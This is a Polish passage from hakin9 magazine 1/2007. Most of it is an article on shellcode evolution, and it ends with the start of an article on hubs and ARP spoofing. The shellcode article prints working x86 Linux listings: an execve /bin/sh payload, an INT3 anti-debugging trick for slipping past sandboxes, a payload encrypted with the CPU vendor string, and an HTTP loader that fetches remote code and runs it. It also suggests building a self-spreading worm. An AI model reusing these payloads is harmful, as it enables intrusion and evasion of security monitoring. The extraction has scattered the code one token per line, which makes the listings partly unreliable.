# (linux/x86) trik

anty

debugowy

(

INT

trap

)

execve

(

"/bin/sh"

[

"/bin/sh"

NULL

]

NULL

)

bajt

# - izik@tty64.org
#
.

section

text

global

_start

#
# Program obsługi

sygna

rejestru

push

0x30

popl

eax

push

0x5

popl

ebx

jmp

_evil_code

#
# Sprawdzenie debugera

_evilcode_loc

popl

ecx

int

0x80

int3

incl

eax

#
# Alternatywny strumień

przetwarzania

_evil_code

call

_evilcode_loc

#
# Prawdziwy kod powłoki
#

cdq

movb

0xb

push

edx

push

0x68732f2f

push

0x6e69622f

mov

esp

ebx

push

edx

push

ebx

pushl

esp

jmp

_evilcode_loc

hakin9 Nr 1/2007

www.hakin9.org

Atak

dejrzany  (na  przykład  przy  pomo-
cy  metody  diagnozowania  „po  ka-
blu”). Proces ten jest przeprowadzany
w  tzw.  piaskownicy  (ang.  Sandbox),
czyli  w  bezpiecznym,  odizolowa-
nym  środowisku  –  może  być  to  dla
przykładu  wirtualny  lub  realny  ser-
wer,  który  przetwarza/wykonuje  po-
dejrzany  kod,  śledząc  przy  okazji
każdy  jego  krok  i  zapisując  wyniki
jego działania. Porównując te wyniki z
danymi  wyjściowymi  produkowanymi
przez inne kody powłoki można łatwo
wyłapać  potencjalnie  niebezpieczny
kod, zaś dzięki temu, że eksperymen-
ty przeprowadzane są w piaskownicy
atakujący  nie  jest  w  stanie  dokonać
żadnych poważanych uszkodzeń.

Siłą tej metody jest jej aktyw-

ny  charakter.  W  przypadku  diagno-
zy  „po  kablu”  bazujemy  głównie  na
predefiniowanych  zasadach  –  tu-
taj  zaś  podejrzany  kod  uruchamia-
ny  jest  na  symulowanym  CPU  co
pozwala  wyłapywać  aktywność  ko-
dów  powłoki  na  najniższym  z  moż-
liwych poziomów. Jako, że głównym
celem kodu powłoki jest uruchomie-
nie się na CPU atakowanego syste-
mu, piaskownica może bardzo łatwo
śledzić  i  notować  tego  typu  zacho-
wania. Zmiany struktury kodu powło-
ki na poziomie bajtów nic w tym przy-
padku nie pomoże, gdyż kod taki czy
tak, czy siak ukaże swoją prawdziwą
twarz w momencie wywołania.

Nie debuguj mnie

Sztuczki  anty-debugowe  są  bardzo
popularne  w  przypadku  komercyj-
nych  aplikacji  Windows.  Bazują  one
na  dołączaniu  do  docelowej  aplika-
cji fragmentów kodu, które utrudniają
lub  uniemożliwiają  debugowanie  lub
wsteczną  inżynierię  tychże  aplikacji.
Oczywiście nie zakładamy, że atako-
wany  system  będzie  działał  w  trybie
odpluskwiania więc można bezpiecz-
nie założyć, że osadzanie tego rodza-
ju  wstawek  do  kodu  powłoki  nie  bę-
dzie  przeszkodą  przy  uruchomieniu
go na tym systemie. Tym co naprawdę
chcemy  uzyskać  jest  wprowadzenie
chaosu  do  piaskownicy.  Istnieje  cała
gama  trików  anty-debugowych,  przy
czym  najciekawsze  nie  są  wcale  te,
które na ślepo blokują debugery, lecz

Listing 7.

Kolejność rejestracji kodu powłoki

#
# Rejestruj program obsługi sygnału
#

push

0x30

popl

eax

push

0x5

popl

ebx

jmp

_evil_code

...

_evilcode_loc

popl

ecx

int

0x80

...

_evil_code

call

_evilcode_loc

...

Listing 8.

Po uruchomieniu przerwania INT3 następuje docelowy test

#
# Sprawdzenie debugera
#

_evilcode_loc

...

int3

...

Listing 9.

Debuger zdejmuje wartość ze stosu i wartość EIP zwiększa

się o jeden

#
# Sprawdzenie debugera
#

_evilcode_loc

popl

ecx

int

0x80

int3

#
# Debugger przeniesie bieg programu w to miejsce!
#

incl

eax

_evil_code

call

_evilcode_loc

Listing 10.

Część kodu powłoki, która zostałaby uruchomiona w

sytuacji wywołania funkcji zwrotnej dla SIGTRAP

#
# Docelowy kod powłoki
#

cdq

movb

0xb

push

edx

push

0x68732f2f

push

0x6e69622f

mov

esp

ebx

push

edx

push

ebx

pushl

esp

jmp

_evilcode_loc

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

te które pozwalają aplikacji stwierdzić
czy jest w trakcie debugowania – co
z kolei pozwala jej modyfikować swo-
je zachowania w zależności od odpo-
wiedzi na to pytanie.

Jeśli kod powłoki posiadałby

„świadomość” na temat tego, że zo-
stał uruchomiony w piaskownicy (lub
w środowisku debugującym), to mógł-

by wprowadzić program odpluskwia-
jący  w  błąd  rozdzielając  swój  stru-
mień  przetwarzania  na  dwie  ścież-
ki  –  bezpieczną  (zawierającą  pełną
funkcjonalność)  oraz  niebezpieczną
(prowadzącą do wcześniejszego za-
kończenia). Patrz Listing 6.

Zaprezentowany kod powłoki im-

plementuje jeden z najbardziej pod-

stawowych  trików  anty-debugowych,
czyli pułapkę INT 3h. Uwięzienie po-
tencjalnego debugera polega na uru-
chomieniu  przerwania  3H  i  ustawie-
nia programu obsługi sygnału (lub wy-
jątku) w kodzie powłoki. W rezultacie,
gdy kod powłoki działa w trybie odplu-
skwiania to przerwanie sprawi, że de-
buger się zatrzyma (INT 3h jest stan-
dardowym  przerwaniem  wykorzysty-
wanym  przez  debugery).  Gdb  debu-
ger  zatrzyma  się  na  kodzie,  ustawi
EIP na punkt za kodem operacji INT
3h  i  (zakładając,  że  nie  został  prze-
konfigurowany), nie wywoła programu
obsługi zawartego w kodzie powłoki.

Kod umieszczony w procedu-

rze obsługi przerwania definiuje bez-
pieczną  ścieżkę.  Ścieżka  niebez-
pieczna  zawarta  jest  w  sekcji  na-
stępującej  po  kodzie  operacji  INT
3h.  Dzięki  temu,  że  większość  inte-
raktywnych  i  praktycznie  wszystkie
nie-interaktywne  debugery  nie  dzie-
lą przerwania z aplikacją, kod powłoki
może tak zaplanować swój strumień
przetwarzania, aby ukryć swoje doce-
lowe przeznaczenie (Listing 7).

W pierwszej kolejności kod po-

włoki rejestruje program obsługi sy-
gnału dla SIGTRAP (INT3). Następ-
nie wykorzystuje wsteczne CALL aby
w trakcie wykonania pobrać lokację
kodu oznaczonego jako _evil_co-

de. Adres jest przekazany jako funk-
cja zwrotna do funkcji, której wywo-
łanie  przeprowadzi  scenariusz  bez-
pieczny (zakładamy, że nie ma debu-
gera, który obserwuje strumień prze-
twarzania  i  kod  powłoki  może  uru-
chomić  swoją  docelową  funkcjonal-
ność). Patrz Listing 8.

uruchomieniu

przerwa-

nia  INT3  następuje  docelowy  test.
Program obsługi sygnału jest już zare-
jestrowany i wskazuje na _evil_code.
W tym punkcie kodu powłoki następu-
je rozdzielenie strumienia przetwarza-
nia, zaś wybór konkretnej ścieżki po-
dejmowany jest w zależności od wyni-
ku przerwania (Listing 9). W przypad-
ku jeśli debuger zdjął wartość ze stosu
i wartość EIP została zwiększona o je-
den (INT3 jest jedno-bajtowym kodem
operacji),  do  głosu  dochodzi  niebez-
pieczna  ścieżka  kodu.  Rejestr  EAX
został  wyzerowany  przez  wywołanie

Listing 11.

Pętla dekodująca nie jest wymagana, tak jak w Listingu 10

#
#

(

linux

x86

)

execve

(

"/bin/sh"

[

"/bin/sh"

]

NULL

)

przexorowane

Intel

x86

CPUID

bajt

# - izik@tty64.org
#
.

section

text

global

_start

#
# CPUID w celu załadowania klucza
#

xorl

eax

cpuid

#
# Wrzuć na stos przexorowany ładunek (drugi kod powłoki)
#

pushl

ecx

pushl

0xeca895e7

pushl

0x3f377fde

pushl

0x8fec1a07

pushl

0x0e4a1c6e

pushl

0x04165b06

#
# Deszyfruj ładunek w odniesieniu do wartości CPUID
#

_unpack_loop

xorl

ecx

esp

)

popl

edx

jnz

_unpack_loop

#
# Przeskocz do odszyfrowanego kodu powłoki
#

subl

0x18

esp

pushl

esp

ret

Listing 12.

Kod operacji CPUID

#
# CPUID do wczytania--

Marta

Ogonek

Product

manager

hakin9

Hard

Core

Security

magazine

www

hakin9

org

Software

Wydawnictwo

Piaskowa

067

Warsaw

Poland

Phone

4822

887

Fax

4822

887

the

key

xorl

eax

cpuid

...

hakin9 Nr 1/2007

www.hakin9.org

Atak

systemowe

signal()

. Debuger kon-

tynuuje przetwarzanie od INT3, dalej
zwiększa wartość EAX o jeden (war-
tość ta reprezentuje teraz wywołanie
systemowe EXIT) i kończy wywołując
kod oznaczony

_ evilcode _ loc

, gdzie

dzięki instrukcji INT $0x80 tożsamej z
wywołaniem systemowym

exit()

kod

powłoki kończy swoje działanie. Zo-
baczmy co by się działo gdyby nie by-
ło debugera (Listing 10.).

Przedstawiony kod reprezentuje

tę część kodu powłoki, która zosta-
łaby uruchomiona w sytuacji wywo-
łania funkcji zwrotnej dla SIGTRAP.
Jeśli do tego dojdzie, kod powłoki za-
atakuje system wywołując /bin/sh.

Korzystając z koncepcji wykony-

wania w locie testów, które pozwalają
na to by kod powłoki uzyskał wiedzę
odnośnie natury środowiska w jakim
jest on uruchamiany, możemy znacz-
nie zwiększyć prawdopodobieństwo
jego przebrnięcia przez Sieci typu Ho-
neypot, piaskownice lub aplikacje mo-
nitorujące. Główną zaletą takiego po-
dejścia jest ochrona przez potencjal-
nym zdemaskowaniem.

Miażdżenie na CPU

Kryptografia  jest  rozwiązaniem  które
wybiera się zazwyczaj gdy chcemy za-
pewnić, aby w przypadku przechwyce-
nia naszych danych przez zewnętrzny
podmiot, dane te były niemożliwe do
odczytania. Jednakże aby uzyskać ta-
ki efekt, strony które planują przesyłać
sobie  zaszyfrowane  informacje  mu-
szą  uzgodnić  i  wymienić  określony,
tajny klucz. Wymiana taka nie wcho-
dzi  w  grę  gdy  próbujemy  infiltrować
atakowany system wbrew jego woli.

Tajne porozumienie bez wy-

miany  kluczy  znane  jest  pod  na-
zwą  metody  wczesnego  dziele-
nia  kluczy  (ang.  pre-shared  key

method).  Idea  tej  metody  polega  na
tym, że obydwie strony używają zna-
nego  z  góry,  tego  samego  klucza,
dzięki  czemu  nie  muszą  przeprowa-
dzać  procesu  wymiany.  Znając  taki
klucz można by zaszyfrować nim kod
powłoki, dzięki czemu byłby on zdeko-
dowany dopiero na docelowej maszy-
nie,  bezpiecznie  omijając  wszelkie-
go  rodzaju  piaskownice.  Kod  powło-
ki  może  uzyskać  dostęp  do  niemal-

Listing 13.

Kod operacji CPUID daje nam dostęp do pożądanej

informacji

#
# Wrzuć na stos przexorowany
ł

adunek

(

drugi

kod

pow

oki

)

pushl

ecx

pushl

0xeca895e7

pushl

0x3f377fde

pushl

0x8fec1a07

pushl

0x0e4a1c6e

pushl

0x04165b06

Listing 14.

Deszyfrowanie kodu

#
# Deszyfruj ładunek

odniesieniu

warto

CPUID

_unpack_loop

xorl

ecx

esp

)

popl

edx

jnz

_unpack_loop

#
# Przeskocz do

odszyfrowanego

kodu

pow

oki

subl

0x18

esp

pushl

esp

ret

Listing 15a.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

#
#

(

linux

x86

)

getppid

()

execve

(

"/proc/<pid>/exe"

[

"/proc/<pid>/exe"

NULL

])

bajt

# - izik@tty64.org
#
# * podziękowania dla pR za pętlę _convert ;-)
#

.

section

text

global

_start

#
# Kto jest twoim rodzicem?
#

push

0x40

popl

eax

int

0x80

#
# Zamień INT na ASCII
#

_convert

decl

esp

cdq

pushl

0xa

popl

ebx

divl

ebx

addb

0x30

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

że każdej globalnej zmiennej lub da-
nej systemowej. Niektóre z takich in-
formacji mogą być pozyskane jesz-
cze przed rozpoczęciem ataku. Ta-
ki rodzaj koordynacji pozwala na za-
stosować model PSK (ang. Pre-Sha-

red Key).

Użycie kodu podobnego jak w

przypadku pokazanego wcześniej en-
kodera, rozszerzonego o procedurę
kryptograficzną i mechanizm wydoby-
wania klucza jest podstawą do stwo-
rzenia szyfrowanego kodu powłoki.

Ten kod powłoki jest podob-

ny  do  kodu  powłoki  w  wersji  enko-
dowanej.  Jednakże  w  tym  przypad-
ku  pętla  dekodująca  nie  jest  wyma-
gana,  tak  jak  to  było  w  pokazanym
wcześniej  przykładzie.  Współdzielo-
nym  sekretem  jest  tutaj  nazwa  pro-
ducenta  procesora  (np.  Intel)  –  ten
właśnie  napis  będzie  wykorzysta-
ny  zarówno  do  zaszyfrowania  jak
i  odszyfrowania  go  na  docelowej
maszynie  przed  uruchomieniem.
Oznacza  to,  że  użycie  jako  PSK
nazwy  innego  producenta  dałoby  w
wyniku  niepoprawny  kod,  całkowi-
cie  nieprzydatny  z  punktu  widzenia
analizy. Przykład z nazwą producen-
ta procesora pokazuje jak łatwo pod-
miot atakujący może zebrać dane po-
trzebne do przeprowadzenia tego ty-
pu działania. W tym przypadku infor-
mację  tę  można  uzyskać  z  poziomu
asemblera przy użyciu kodu operacji
CPIUD (Listing 12).

Kod operacji CPUID daje nam

dostęp  do  pożądanej  informacji.
W pierwszej fazie zaszyfrowany kod
powłoki  jest  wrzucony  na  stos  (po-
dobnie  jak  w  przypadku  omawiane-
go  wcześniej  enkodera/dekodera).
Patrz Listing 13.

Kiedy zaszyfrowany kod powło-

ki jest już umieszczony na stosie to
należy  wziąć  się  za  jego  odszyfro-
wanie  wykorzystując  do  tego  odpo-
wiedź  pozyskaną  z  CPUID.  Nieste-
ty nie posiadamy żadnej kontroli nad
tym  procesem  –  tak  samo  jak  nie
jesteśmy  w  stanie  zweryfikować
powodzenia  tego  przedsięwzięcia.
Jeśli  CPIUD  zwrócił  nazwę  inne-
go  producenta  niż  się  spodziewali-
śmy  (np.  AMD)  to  w  wyniku  otrzy-
mamy  bezużyteczne  asemblerowe

Listing 15b.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

movb

esp

)

testl

eax

jnz

_convert

cdq

#
# Uruchom [/proc/

<pid>

/exe]

popl

ebx

pushl

edx

pushl

0x6578652f

pushl

ebx

pushl

0x2f636f72

pushl

0x702f2f2f

movb

0xb

movl

esp

ebx

pushl

edx

pushl

ebx

movl

esp

ecx

int

0x80

Listing 16.

Wpis domyślny

#
# Kto jest twoim rodzicem?
#

push

0x40

popl

eax

int

0x80

Listing 17.

Przekształcenie funkcji getppid() do postaci ASCI

#
# Zamień INT na ASCII
#

_convert

decl

esp

cdq

pushl

0xa

popl

ebx

divl

ebx

addb

0x30

movb

esp

)

testl

eax

jnz

_convert

cdq

Listing 18.

Wywołanie systemowe execve()

#
# Uruchom [/proc/

<pid>

/exe]

popl

ebx

pushl

edx

pushl

0x6578652f

pushl

ebx

pushl

0x2f636f72

pushl

0x702f2f2f

movb

0xb

movl

esp

ebx

pushl

edx

pushl

ebx

movl

esp

ecx

int

0x80

hakin9 Nr 1/2007

www.hakin9.org

Atak

śmieci, które przy próbie wykonania
najprawdopodobniej spowodują po-
wstanie wyjątku (Listing 14).

Po zakończeniu deszyfrowania

pozostaje wykonać skok do docelowej
sekcji kodu powłoki. To czy we wspo-
mnianej  sekcji  znajdują  się  właściwe
instrukcje  zależy  od  tego  czy  trafili-
śmy  na  właściwą  nazwę  producenta
procesora. W każdym innym przypad-
ku  wywołanie  wynikowego  kodu  za-
kończy się powstaniem wyjątku.

Rozwiązania bazujące na przed-

stawionej  koncepcji  można  oczywi-
ście  modyfikować,  na  przykład  wy-
korzystując  inną  nazwę  producenta
(chociażby AMD).

Ewolucja kontra

kustomizacja

Jak  dotąd  dyskutowane  prze-
szkody  pojawiające  się  na  drodze
kodów  powłoki  były  związane
z  występowaniem  takich  mecha-
nizmów  ochronnych  jak  NIDS  czy
IPS.  Jednakże  w  wielu  przypadkach
–  szczególnie  w  kontekście  ataków
skierowanych  przeciwko  rozbudo-
wanym  organizacjom,  pojawiają  się
problemy  wynikające  z  właściwo-
ści  atakowanego  systemu.  Na  przy-
kład,  jednym  z  podstawowych  błę-
dów przy projektowaniu kodów powło-
ki  jest  wstawianie  wartości  ustawio-
nych na stałe – odnosi się to przede
wszystkim do napisu /bin/sh. Problem
w tym, że wcale nie ma gwarancji, że
program  sh  znajduje  się  w  katalogu

bin; co więcej – katalog bin wcale nie
musi istnieć w atakowanym systemie.
Oczywiście w większości przypadków
(powiedzmy, że około 80%) atak za-
pewne się powiedzie, jednakże dla
pozostałych 20% wywołanie syste-
mowej funkcji

execuve()

zakończy się

niepowodzeniem  mimo  tego,  że  kod
powłoki udało się uruchomić. W rze-
czywistości kustomizacja jest czynni-
kiem, który należy na poważnie wziąć
pod uwagę przy projektowaniu kodów
powłoki. Praktyka ta jest powszechnie
stosowana zarówno wśród systemów
z rodziny Linux jak i BSD i wynika z
dużej  różnorodności  dystrybucji  oraz
łatwości  w  dopasowywaniu  struktury
systemu, dzięki której administratorzy
oraz zaawansowani użytkownicy są w

stanie w pełni dopasować ją w odnie-
sieniu do własnych potrzeb i preferen-
cji. Zjawisko kustomizacji jest również
prawie zawsze spotykane w przypad-
ku systemów osadzonych oraz dedy-
kowanych.

Podążam za rodzicem!

Sprawdzanie  w  czasie  wykonania,
która  powłoka  jest  dostępna,  da-
je kodowi powłoki szansę na obej-
ście problemu związanego z kusto-
mizacją. Jednym ze sposobów, któ-
re  można  w  tym  celu  wykorzystać
(w  odniesieniu  do  systemu  Linux)
jest  przeglądanie  hierarchii  proce-
sów.  Jeśli  przyjrzymy  się  bliżej  tej
hierarchii  to  zauważymy  pewną
prawidłowość  –  otóż  dla  zakresów
głębokości  od  0  do  3  proces  ma-
cierzysty  jest  zazwyczaj  powłoką.
Jedynym  wyjątkiem  odnośnie  tej
reguły  jest  proces  initd,  który  uru-
chamia samo jądro.

Do sprawdzenia kto jest rodzicem

kodu powłoki wystarczy proste wywo-
łanie

getppid()

, które zwróci identyfi-

kator PID jego procesu macierzyste-
go. Identyfikator ten jest kluczem, któ-
rego kod powłoki użyje później w ce-
lu zbadania wpisu /proc powiązanego
ze swoim rodzicem. Wpis ten zwiera
informacje na temat ścieżki pliku wy-
konywalnego  oraz  argumentów  wy-
wołania przekazanych przy jego uru-
chomieniu.  Domyślnie  wpis  ten  jest
dostępny  dla  każdego  procesu  (Li-
sting 16).

Funkcja

getppid()

zwraca war-

tość będącą liczbą całkowitą (ang.

integer).  Do  naszych  celów  war-
tość tę trzeba będzie przekształcić
do  postaci  ASCI.  Potrzeba  ta  wy-
nika z faktu, iż zwrócony PID misi
być  wstawiony  do  napisu  określa-
jącego  ścieżkę  (np.  /proc/<pid>/

exe).  Ścieżka  ta  określa  plik  wy-
konywalny  macierzystego  proce-
su  (Listing  17.).  Mając  wartość

getppid()

w postaci ASCII pozo-

staje jedynie przekazać ją do wy-
wołania systemowego

execve()

W rezultacie otrzymaliśmy dość

uogólniony program do uruchamiania
powłoki, gdzie jedyną zabitą na stałe
wartością jest napis /proc, który w naj-
bliższym czasie raczej się nie zmieni.

Listing 19.

Przykładowy loader

#
# (x86/linux) HTTP/1.x GET,

Pobieranie

wywo

ywanie

operacji

JMP

bajt

# - izik@tty64.org
#

.

section

text

global

_start

push

0x66

popl

eax

cdq

pushl

0x1

popl

ebx

pushl

edx

pushl

ebx

pushl

0x2

movl

esp

ecx

int

0x80

popl

ebx

popl

ebp

movl

0xfeffff80

esi

movw

0x1f91

#
# nie %bp, dla numerów portów

< 256

notl

esi

pushl

esi

bswap

ebp

orl

ebx

ebp

pushl

ebp

incl

ebx

pushl

0x10

pushl

ecx

pushl

eax

movb

0x66

movl

esp

ecx

int

0x80

_gen_http_request

#
# < wykorzystaj gen_httpreq.c,
w celu wygenerowania
żądania HTTP GET.

_gen_http_eof

movl

esp

ecx

_send_http_request

movb

0x4

int

0x80

_recv_http_request

movb

0x3

pushl

0x1

popl

edx

int

0x80

incl

ecx

testl

eax

jnz

_recv_http_request

_jmp_to_code

subl

0x6

ecx

jmp

ecx

Jeszcze jedną kwestią nad

którą  warto  się  zastanowić  to  pro-
blem  pojedynczo  i  wielowątkowych
demonów. Aby zastosować omawia-
ną  metodę  dla  procesów  powsta-
łych  na  bazie

fork()

-owania należa-

łoby  zastosować  rekurencyjną  pro-
cedurę  przetwarzania  drzewa  rodzi-
ców.  W  przypadku  demonów  jedno-
wątkowych potrzeba taka nie wystę-
puje. Kod powłoki pokazany powyżej
odnosi się właśnie do demonów jed-
nowątkowych.

Ewolucja kontra

Ograniczenia

Różne  scenariusze  ataku  narzucają
różne  ograniczenia:  na  przykład  po-
szczególne  protokoły  operują  na  bu-
forach  o  różnej  długości  itd.  Z  tego
względu  kody  powłoki  powinny  mieć
możliwość  dopasowania  się  do  ota-
czającego  je  aktualnie  środowiska.
Najbardziej  popularne  ograniczenie
związane jest z limitem wielkości ko-
du.  Istnieje  oczywista  korelacja  po-
między  poziomem  funkcjonalności
kodu powłoki a jego wielkością. Z lo-
gicznego punktu widzenia, im bardziej
złożona jest wspomniana funkcjonal-
ność, tym więcej będzie potrzeba ko-
dów operacji w celu jej zaimplemen-
towania.  Aby  móc  budować  bardziej
sprytne  i  zaawansowane  rozwiąza-
nia problem wielkości musi być prze-
zwyciężony. W innym przypadku nasz
super-inteligentny kod powłoki będzie
odrzucony na poziomie protokołu i ca-
ła nasza praca pójdzie na marne.

Podział na fazy

Dzielenie każdej logicznej operacji na
mniejsze  zadania  pozwala  tworzyć
potoki. Ta ogólna zasada działa rów-
nie  dobrze  w  odniesieniu  do  kodów
powłoki. Jeśli kod taki nie może prze-
prowadzić  pełnego  ataku  jednorazo-
wo, to powinien być pobrany przez in-
ny, mniejszy kod powłoki. W tej sytu-
acji, zamiast budowania jednego kodu
powłoki,  który  robi  wszystko  na-
raz,  warto  podzielić  funkcjonalność
na  główną  logikę  oraz  jej  wczyty-
wanie.  Za  wczytywanie  będzie  od-
powiadał  mniejszy  kod  powłoki
którego podstawowym zadaniem bę-
dzie uruchomienie kodu docelowego.

Mając taki zewnętrzny loader może-
my wczytywać większe i bardziej za-
awansowane kody powłoki nie mar-
twiąc się o ich rozmiar.

Listing 19 przedstawia przy-

kładowy  loader.  Potrafi  on  pobrać
binarny kod powłoki z zadanego URL
a  następnie  wpisać  go  do  bufora
i wykonać do niego skok. Po skróce-
niu  kod  loadera  zajmuje  jedynie  68
bajtów, aczkolwiek mimo to potrafi ko-
munikować się z dowolnym serwerem
HTTP działającym na bazie protoko-
łów HTTP/1.0 oraz HTTP/1.1. Pobra-
ny kod jest dla odmiany wolny od ja-
kichkolwiek  limitów  (na  przykład  dłu-
gości czy zakazu występowania zna-
ku

NULL

). Oczywiście sam loader tym

limitom nadal podlega.

Prezentowane podejście mo-

że  być  bardzo  przydatne  przy  au-
tomatyzacji  testów  penetracyjnych.
Dla  przykładu,  można  by  się  po-
kusić  o  niewielki  serwer,  który  bę-
dzie  wychwytywał  potwierdzenia  o
udanych  włamaniach  do  systemów
na  zasadzie  obserwowania  żądań
wysyłanych  przez  loader.  Po  wpro-
wadzeniu  kilku  modyfikacji  loader
mógłby zbierać i wysyłać informacje
identyfikacyjne  na  temat  atakowa-
nego  systemu  dzięki  czemu  serwer
mógłby wybrać i odesłać kod powło-
ki najbardziej adekwatny do zadanej
konfiguracji.  Rozwijając  tę  koncep-
cję  można  by  również  zaimplemen-
tować  samo-rozprzestrzeniającego
się robaka.

W przypadku tego konkretne-

go kodu powłoki zastosowałem na-
rzędzie zwane gen_httpreq.c, które
pozwala łatwo wygenerować na ba-
zie zadanego URL napis zawierają-
cy żądanie HTTP.

Podsumowanie

W  powyższym  tekście  pokaza-
łem  pewne  czynniki  oraz  przeszko-
dy  wpływające  na  strukturę  i  spo-
sób działania kodów powłoki. Niejako
z definicji temat nie został wyczerpa-
ny, jako że kody powłoki to technolo-
gia ciągle ewoluująca. Cel tej ewolucji
jest za to niezmienny: przeprowadzać
udane ataki bez bycia zauważonym.

http://www.tty64.org/code/shellcodes/
archiwum źródeł kodów powłoki

www.hakin9.org

hakin9 Nr 1/2007

Obrona

nie można jeszcze prościej? Jakiś
czas temu opublikowaliśmy w „Ha-

kin9u” sążnisty artykuł na temat de-

tekcji nielegalnego podziału łącza interneto-
wego (Mariusz Tomaszewski, Maciej Szmit,
Marek Gusta, „Sprzątanie pajęczyn – detek-
cja nielegalnego współdzielenia łącza”, „Ha-
kin9” nr 2/2005 str. 10-18, dostępny w wersji
on line http://www.haking.pl/pl/attachments/

lacze_pl.pdf).  Konkluzja  była  mniej  więcej
taka, że „pajęczarze” posługują się rozwią-
zaniami  III  warstwy  modelu  ISO/OSI  (NAT
ze  wszystkimi  jego  odmianami)  i  znacznie
trudniejszymi do wykrycia proxy (IV warstwy
– tzw. pośrednikami obwodowymi i VII war-
stwy – proxy aplikacyjnymi). Ale jak się oka-
zuje,  można  jeszcze  prościej.  Wystarczy,
że zdolny użytkownik nada po prostu dwóm
komputerom  ten  sam  adres  MAC  i  ten  sam
adres IP, a następnie podepnie je do huba,
który  z  kolei  podłączy  do  swojego  „wyjścia
na świat” (Rysunek 1).

Oczywiście – jeśli komputery pracować

będą  pod  kontrolą  ulubianego  (przez  wie-
lu) systemu operacyjnego – pojawiły się ko-
munikaty  o  zduplikowanym  adresie  IP.  Ko-
munikaty  te  biorą  się  stąd,  że  Windows  w

momencie  uruchomienia  interfejsu  siecio-
wego  (a  dokładniej  –  nadania  mu  numeru
IP) sprawdza za pomocą kilku zapytań ARP-
request o własny adres, czy w Sieci nie ma
innego  komputera  o  tym  samym  IP.  Zapy-
tania  te  zdolny  użytkownik  może  usunąć
ustawiając w rejestrze wartość klucza:

HKLM\

SYSTEM\CurrentControlSet\Services\Tcpip\
Parameters\ArpReplyCount na zero

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit
Mariusz Tomaszewski

stopień trudności

Im dłużej zajmujemy się komputerami tym mocniej wierzymy

w krasnoludki, Babę Jagę oraz liczne mniej lub (częściej)

bardziej złośliwe chochliki. Właściwie nawet nie nie tak: nie tylko

wierzymy, ale poznajemy ich zwyczaje, sympatie i antypatie,

a czasami nawet okoliczności, w jakich przychodzą na świat.

No bo wyobraźcie sobie tylko...

Z artrykułu dowiesz się...

• o dość nietypowej metodzie współdzielenia łą-

cza internetowego,

• o problemach z wykrywaniem ARP-spoofingu,

które może spowodować,

• nietypowa konfiguracja linuksa,
• o nietypowej obsłudze ramek grupowych przez

niektóre urządzenia sieciowe.

Powinieneś wiedzieć...

•   co to jest ARP-spoofing,
•   do czego służy protokół ICMP,
•   czym się różni switch od huba.

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

W konsekwencji komunikaty

o zduplikowanym adresie przesta-
ną się pojawiać.

Ponadto na obydwu maszynach

trzeba  uruchomić  personalne  fire-
walle  (my  wykorzystaliśmy  do  tego
celu program ZoneAlarm) po to, aby
ustawić porty w nieznany z RFC stan
stealth (port ukryty). Te zabiegi przy-
niosą  oczekiwany  skutek  –  na  obu
komputerach  można  spokojnie  sur-
fować sobie po Internecie, a że infor-
macja  wysyłana  do  jednego  trafiała
również do drugiego? No cóż – taka
już przecież jest natura huba ;)

Spróbujmy prześledzić to roz-

wiązanie nieco poważniej – segmen-
ty TCP generowane przez pierwszy
komputer (dajmy na to segment na-
wiązania  połączenia  TCP  SYN)
–  trafiały  oczywiście  do  adresata,
który  wysyłał  w  odpowiedzi  swoją
odpowiedź (dajmy na to SYN+ACK)
pod  adres  naszego  komputera.
Oczywiście  odpowiedź  ta  trafiała
do  obu  maszyn,  przy  czym  druga
z  nich  powinna  (zakładając,  że  nie
trafi się nieprawdopodobna sytuacja
„trafienia” w otwarty port, z którego
komputer  właśnie  wysłał  segment
SYN do tego samego serwera i na
dodatek  opatrzony  takim  samym
numerem  sekwencyjnym)  oczy-
wiście  odpowiedzieć  RST.  Powin-

na, ale nie odpowie, bowiem osobi-
sta ściana przeciwogniowa ustawia
port w stan stealth, a więc TCP RST
w ogóle się nie pojawi. A prawdziwy
nadawca będzie sobie mógł serfo-
wać do woli.

Co więcej można w ten spo-

sób  udostępnić  nawet  usługi  ser-
werowe  (byle  porty,  które  odpo-
wiadają  za  usługi  na  jednym  kom-
puterze  były  na  drugim  ukryte).
Mówiąc  obrazowo,  mamy  tu  do
czynienia z „wirtualnym pocięciem”
jednego komputera na dwa – ot taki
Destination NAT, tylko że bez NATa
Oczywiście  całe  to  rozwiązanie

działać będzie wyłącznie na hubie,
bowiem każdy współczesny switch
będzie wysyłał ramki na jeden i tyl-
ko ze swoich portów.

Z butami

(dwoma) do Sieci

Zdawałoby  się,  że  o  ARP-spoofin-
gu  i  jego  wykrywaniu  wiadomo  już
wszystko  (komu  nie  wiadomo  powi-
nien  sięgnąć  do  archiwalnego  tek-
stu  Marek  Gusta,  Maciej  Szmit,
„Sniffing  w  ethernecie  z  przełączni-
kami”,  „Haking”  nr  2/2003,  str.  6-9
albo  przynajmniej  przeczytać  do-
stępny on line tekst Daniel Kaczorow-

Tabela 1.

Dokładnie rzecz biorąc w zależności od systemu operacyjnego wyglądało to będzie następująco

ICMP „crossping”

ARP-request

Debian GNU/Linux Sarge
kernel 2.6.12:1k7

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

odpowiedź ARP-reply będzie odsyłana zawsze
spod jednego adresu fizycznego (tej z kart sie-
ciowych, która zostanie podniesiona wcześniej),
ale już dla żądania ICMP echo request będzie
można używać dowolnej pary IP/MAC (z tym, że
odpowiedź przyjdzie zawsze z jednej karty)

Windows Vista Beta 2

Nie będzie odpowiedzi

Prawidłowe odwzorowania (IP pierwszej karty
MAC pierwszej karty, IP drugiej karty MAC dru-
giej karty)

Windows XP
(bez Service Packów)

ICMP-reply będą odesłane spod do-
brych adresów (IP pierwszej karty
MAC pierwszej karty, IP drugiej kar-
ty MAC drugiej karty)

Prawidłowe odwzorowania (IP pierwszej kar-
ty MAC pierwszej karty, IP drugiej karty MAC
drugiej karty)

Knoppix STD 0.1
kernel 2.4.21

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

dwie odpowiedzi (dwa adresy MACs dla jedne-
